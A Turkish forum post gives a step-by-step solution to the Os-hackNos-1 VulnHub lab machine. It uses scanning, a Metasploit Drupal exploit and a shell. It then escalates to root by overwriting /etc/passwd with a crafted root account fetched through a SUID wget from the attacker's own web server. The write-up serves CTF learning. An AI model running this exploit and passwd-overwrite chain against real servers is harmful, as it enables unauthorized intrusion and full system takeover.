hackNos: Os-hackNos-1 Zafiyetli Makinenin Çözümü //By Ghost

By Ghost

Katılımcı Üye
11 Tem 2013
941
2
C:\Linux
Merhabalar herkese. Bu yazıda sizlerle beraber hackNos: Os-hackNos-1 zafiyetli makinenin çözümünü inceleyeceğiz.
APM7O5.png

https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
5xJRdf.png

Makine ismi: Os-hackNos-1

Yayınlanma Tarihi: 27 Kasım 2019

Yapan: Rahul Gehlaut

Boyut/Format: 827mb/OVA

Zorluk: Kolay-Orta

İşletim Sistemi: Linux

Seri: hackNos

Açıklama: Makinedeki 2 flag dosyasını bul. (UserFlag-RootFlag)
7bezLT.png

Not: Başlamadan önce belirtmek isterim. İndirdiğiniz makine VMware 'da düzgün çalışmayacaktır. VirtualBox üzerinden CTF'i çözmenizi öneririm.

İlk önce makinemizin ip adresini öğrenmek için "netdiscover" komutunu kullanıyoruz.

7JvlZa.png


IP adresini öğrendikten sonra açık portları öğrenmek için nmap taraması yapalım.
Kod:
nmap -A -p- 192.168.1.51
gZabHo.png


Zafiyetli makinemizde sadece ssh (22) ve http (80) portlarımız açıkmış. 80 portu bildiğiniz üzere bir web sitesinin olduğunu gösteriyor. Bakalım site nasıl bişi.

vygdts.png


Karşımıza çıkan sayfa pekte sevindirici olmadı. "Ubuntu Default Page" bize bişi ifade etmiyor. Bizde dizin taraması yapalım. Belki işe yarar bi klasör veya dosya buluruz. Dizin taraması için terminale dirbuster yazabilirsiniz. Ya da menüden tıklayıp açabilirsiniz.
Target kısmına hedef ip adresini (http ile beraber), wordlistimizi ve sağ alttaki "File extension" kısmına dosya türlerini giriyoruz. Dizin tarama işlemine geçebiliriz.

Lne60C.png

txd1wd.png


Bizim için önemli olan ilk 4 taramadan dönen veriler. Bu yüzden diğerlerini bitirmeye aldım. Bu tarama esnasında karşılaştığım bir probleme de değineyim. Error kısmı var. Ard arda 20'den fazla error oluşursa tarama kendini durduruyor. Bu yüzden sol alttan Pause tuşuna basıp devam etmesini sağlamalısınız. Tarama bitince "Results" kısmından dizin tarama sonuçlarımıza bakalım.

drGzGM.png


Güzel sonuçlar dönmeye başladı yavaştan. Tarama sonuçlarından 2 tane önemli bilgi döndü gibi duruyor. 'alexander.txt' dosyası tespit etti ve yanında 'drupal' klasörü. Drupal bilmeyenler için söyleyelim wordpress gibi içerik yönetmek için oluşturulmuş bir yazılımdır.
Bulduğumuz dizin ve dosyamızı tarayıcımızda açalım bakalım neler göreceğiz.

af9MsD.png

Rp3PP4.png


Drupal klasik bir görünüme sahip. Şimdilik onu kenarda bekletelim. Zira alexander isimli dosyamızda bir karmaşık metin ile karşılaşıyoruz. İlk baktığımızda bir şifreleme olduğunu anlıyoruz. Şifre çözme sitelerine bi uğrayalım :)
https://gchq.github.io/CyberChef/

jQZ4nc.png


CyberChef online decode sitesidir. Input kısmına alexander dosyamızdan çıkan metni yapıştırdıktan sonra Output kısmına sihirbaz çubuğu çıkıyor. Ona tıklayınca decode işlemini gerçekteştiriyor. Decode işleminden sonra yine karmaşık bir ifade ile karşı karşıyayız. Kripto ve şifreleme ile uğraşan arkadaşlar çıkan sonucun hangi şifreleme olduğunu anlamıştır ama biz bilmeyenler için diğer sitemizden de gösterelim. Dcode sitemize gidelim.
https://www.dcode.fr/en

CtBRSL.png


İlk decode işleminden çıkan karmaşık ifadeyi burada search kısmına yapıştırıp go derseniz size hash türünü gösteriyor (sol üstteki). Tabi bu her zaman geçerli bi durum değil ama çoğu zaman size yardımcı olabiliyor. Çözmemiz gereken şifreleme türü Brain.. isimli olan. Brain.. üzerine tıklayıp şifremizi çözmeye gidelim.

yOvDdP.png


Çıkan sonuç güzel. Zira bize kullanıcı adı ve şifre verdi. Şimdi bunun neye ait olduğunu düşünmem lazım. İlk akla gelenleri test etmek iyi olur. Hatırlayın drupal yazılımı web servisimizde yüklüydü. drupal linkine geri dönüp kullanıcı adı ve şifremizi deneyelim :)

EAQwli.png


Kullanıcı adı ve parola kısmına dcode'da çözümlediğimiz bilgileri girince drupal bilgileri olduğu anlaşıldı. Ama bu bilgiler aynı zamanda sisteme bağlantı sağlayabileceğimiz bilgiler de olabilir. O yüzden nolur nolmaz diyip ssh bağlantısı da denemekten zarar gelmez.

jWM7ee.png


Bilgileri girdiğimde hata aldım. Malesef bulduğumuz bilgiler sadece drupal sistemine ait gibi duruyor. Kenarda dursun belki işe yarar ilerde. Drupal sistemi üzerinden de bişi bulamadım. O yüzden birde exploit bakalım. Terminale 'msfconsole' yazarak m3t4sploitimizi açalım. Ardından drupal için search yapalım.
Kod:
search drupal
Kod:
use 4
M2TzL6.png


İlk başta 3 numaralı ve 5 numaralı exploitler remote ile alakalı olduğu için onları denedim. Lakin onlar bi sonuç vermediği için burada sadece çalışan 4 no'lu exploiti gösteriyorum. show options komutu ile gerekli özellikleri listeliyoruz. Sırasıyla bilgilerimizi girip exploitimizi deneyeceğiz.
Kod:
set RHOSTS 192.168.1.51
Kod:
set TARGETURI /drupal
Kod:
run
DqLcfg.png


meterpreter yazısını gördük içerideyiz artık :) shell komutu ile karşı taraftan shell döndürüyoruz. komut çalıştırabilmemiz için shell'e ihtiyacımız var. Birde bash shell üzerinde çalışmak için her zamanki komutumuzu yazalım
Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Kim olduğumuzu hangi dizinde olduğumuzu öğrendikten sonra ilk flag dosyamızı ekranda gösterelim :)

jVJO7A.png


Şimdi sırada /root dizini altındaki son flagımızı açmak. Tabi bunu yapmak için yetki yükseltme işlemine ihtiyacımız var. Sistemde yetkimiz olmadığı halde çalıştırılabilir uygulamaları arayalım
Kod:
find / -type f -perm -u=s 2>/dev/null
HIQRED.png


wget komutu dikkatimizi çekiyor. Zira yetkimiz olmasa bile istediğimiz yere bi dosya indebiliriz. Buda şu anlama gelebiliyor. /etc dizin altındaki 'passwd' dosyasını değiştirmek için wget'i kullanabilirim. Ama ilk önce sistemin /etc/passwd dosyasını okuyalım
Kod:
cat /etc/passwd
JHL6jF.png


Bu bilgileri bir yere kaydedelim. Şimdi openssl ile passwd dosyasına uygun kullanıcı oluşturalım.
Kod:
openssl passwd -1 -salt byghost H4ck3njoy
Vkl92W.png


Şimdi yeni bir passwd dosyası oluşturup zafiyetli makinemizden aldığımız passwd bilgilerini ile beraber bizim oluşturduğumuz kullanıcı bilgilerini birleştirelim.
Kod:
ghost:OPENSSL_UZERINDEN_OLUSAN_KEY:0:0:,,,/root:/bin/bash
MljTEk.png


Şimdi bu dosyamızı sızdığımız makinemize indirmemiz gerekiyor. Bunun için de bir Web servise ihtiyacımız var. Ayrı bi konuda buna daha detaylı değineceğim. Şimdilik sadece terminale aşağıdaki komutu girelim.
Kod:
python -m SimpleHTTPServer 8000
7sO6Wm.png


Tarayıcıya kendi ipnizi ve 8000 portunuzu yazarsanız web servisi başlattığınızı göreceksiniz.
Kod:
IP_ADRESINIZ:8000/
RDuF7G.png


Şimdi sızdığım sisteme geri dönüp wget ile passwd dosyamızı indirelim. Ama ilk önce /etc dizini altında olduğunuzdan emin olun.
Kod:
cd /etc
Kod:
wget IP_ADRESINIZ:8000/passwd -O passwd
Kod:
su ghost
YysK02.png


Gördüğünüz gibi oluşturduğumuz kullanıcıya geçtiğimizde root yetkisine geçiş yaptık. Artık son flag'ımızı gösterelim :)
nCUsL3.png


H4ck3njoy :)
f4XPQV.png

Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun :)
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.